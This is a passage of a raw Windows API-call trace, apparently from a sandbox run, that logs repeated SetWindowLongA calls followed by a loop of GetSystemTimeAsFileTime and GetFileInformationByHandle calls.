nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.033] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.034] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x14) returned 0x2eecf0 [0029.034] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x14) returned 0x2eed30 [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.034] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.035] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.036] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, 